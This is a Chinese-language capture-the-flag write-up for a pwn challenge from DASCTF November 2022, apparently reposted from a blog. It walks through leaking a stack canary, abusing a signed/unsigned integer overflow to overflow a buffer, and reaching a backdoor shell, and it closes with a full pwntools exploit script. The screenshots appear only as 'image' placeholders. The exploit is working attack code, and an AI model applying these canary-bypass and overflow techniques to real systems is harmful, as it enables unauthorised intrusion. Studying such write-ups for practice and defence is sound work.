首页 > 其他分享 >DASCTF NOV X联合出题人2022年度积分榜争夺赛PWN复现 部分wp

DASCTF NOV X联合出题人2022年度积分榜争夺赛PWN复现 部分wp

时间:2022-11-30 16:14:48浏览次数:64  
标签:idx canary 0xffffffff 2022 PWN import data 积分榜 lambda

签个到

image

居然是没开NX的,而且还有一个可写可执行的段

image

静态分析:

image

进入get()我们可以看到循环中如果满足heap[i] + 4LL与我们送入内容的前8字符相同,且送入内容+8地址内容(即canary)与heap[i]与的前8字符相同即可进入后门

image

image

add(16,b'aaaaaaaa')
get(b'aaaaaaaa')

随便调试看看

image

image

image

read_len():

image

read_con():

image

sla('power length: ',0)
#以0来利用整形溢出漏洞,下面进行栈溢出

int类型在linux下默认强制转换为unsign int类型进行比较,所以a与b比较的时候,a会自动转换成unsigned int类型进行比较。由于signed int的符号位最高位是1,转换成unsigned int之后,就会变成一个很大的unsigned int型正数

可以进行很多次的read(0,&buf,1uLL)

sla('> ',add_idx)
sla('power length: ',0)
ru('name: ')

image

pl=b"a"*0x14+p64(0x0000000000020d51)+p32(canary&0xffffffff)
#var_10 heap_size 保持原来的堆块
#var_8 canary后半段

image

sla('> ',add_idx)
sla('power length: ',8)
ru('name: ')

image

可以看到第二次add时2c0处是canary后半段而不是00000886

pl = p32((canary>>32)&0xffffffff)+b"aaaa"
li('(canary>>32)&0xffffffff) = '+hex((canary>>32)&0xffffffff))
s(pl)

image

choice(get_idx)
ru('data: ')
pl = p32((canary>>32)&0xffffffff)+b"aaaa"
sl(pl)

比较后getshell

image

image

image

image

#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
    p = remote('172.52.16.218',9999)
else:
    p = process(name)


libcso = '/lib/x86_64-linux-gnu/libc.so.6'
#libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)


s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim),str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()
   
bss = elf.bss()

ru('who are u?\n')
s(b'a'*9)

ru('aaaaaaaa')
canary = uu64(p.recv(8))-0x61
li(hex(canary))


def choice(cho):
    sla('> ',cho)

def add(size,con):
    choice(add_idx)
    sla('power length: ',size)
    ru('name: ')
    sl(con)

def get(data):
    choice(delete_idx)
    ru('data: ')
    s(data)

sla('> ',add_idx)
sla('power length: ',0)
ru('name: ')
pl=b"a"*0x14+p64(0x0000000000020d51)+p32(canary&0xffffffff)
li('canary&0xffffffff = '+hex(canary&0xffffffff))
sl(pl)

sla('> ',add_idx)
sla('power length: ',8)
ru('name: ')
pl = p32((canary>>32)&0xffffffff)+b"aaaa"
li('(canary>>32)&0xffffffff) = '+hex((canary>>32)&0xffffffff))
s(pl)

choice(delete_idx)
ru('data: ')
pl = p32((canary>>32)&0xffffffff)+b"aaaa"
sl(pl)

itr()

'''
def pwn():

if __name__ == '__main__':
    pwn()
'''

image

标签:idx,canary,0xffffffff,2022,PWN,import,data,积分榜,lambda
From: https://www.cnblogs.com/shuzM/p/16938731.html

相关文章

  • DQL-查询笔记-2022-11-30
    联表查询join连接的表on(判断的条件)连接查询  固定的语法where 等值查询  分析需求 分析查询的数据来源于那些表确定使用那种连接7种确认交叉点(这两张......
  • 2022最全Hbuilder打包成苹果IOS-App的详解
     本文相关主要记录一下使用Hbuilder打包成苹果IOS-App的详细步骤。介绍一下个人开发者账号:再说下什么是免费的苹果开发者账号,就是你没交688年费的就是免费账号,如果你......
  • 【2022-11-25】连岳摘抄
    23:59我想此后只要以工作赚得生活费,不受意外的气,又有点自己玩玩的余假,就可以算是幸福了。                        ......
  • SQL-笔记-2022-11-30
    --给查询的字段给别名,也可以给表给别名SELECT`studentno`AS学号,`studentname`AS学生姓名FROMstudentASS --函数CONCAT(a,b)SELECTCONCAT('姓名=',`stud......
  • Visual Studio 2022 提交git代码
    VisualStudio2022更换了全新的git提交方式,接下来实践一下。我们以gitte作为远程仓库参考实践一下环境说明环境和版本很重要,大量的博客没有环境说明和版本介绍,对新......
  • 2022助我拿到9个Offer的成功秘籍?MySQL高级调优笔记 冲就完了
    第一部分:MySQL常用对象=================Linux安装MySQL及启动MySQL对象-索引MySQL对象-视图MySQL对象-存储过程MySQL对象-触发器第二部......
  • serialportscreen-2022-11-30
    1、DGUSV5.08中“RTC设置”组件即便勾选了“数据自动上传”,经过实际测试屏幕是不会像平常其它组件(例如录入组件)一样主动往串口上传修改后的RTC时间数据的。2、手上有两款......
  • school 代码 -2022-11-30
    CREATEDATABASEIFNOTEXISTSschool;--创建一个school数据库USEschool;--创建年级表DROPTABLEIFEXISTSgrade;CREATETABLEgrade(gradeidINT(11)NOTNULLAUT......
  • Mysql容器持续重启You can use the following information to find out 2022-11-30T02
    迁移MySQL容器从一台服务器到另外一台服务器后,容器持续重启,信息如下:2022-11-30T02:14:55.156625218Zmax_threads=5002022-11-30T02:14:55.156628081Zthread_count=020......
  • 2022最简单易懂的IOS App打包发布完整流程
     创建appid标识符进入apple开发者中心点击Account 点击Certificates,Identifiers&Profiles,创建AppIDS标识符,点击左侧菜单栏Identifiers,再点击+按钮......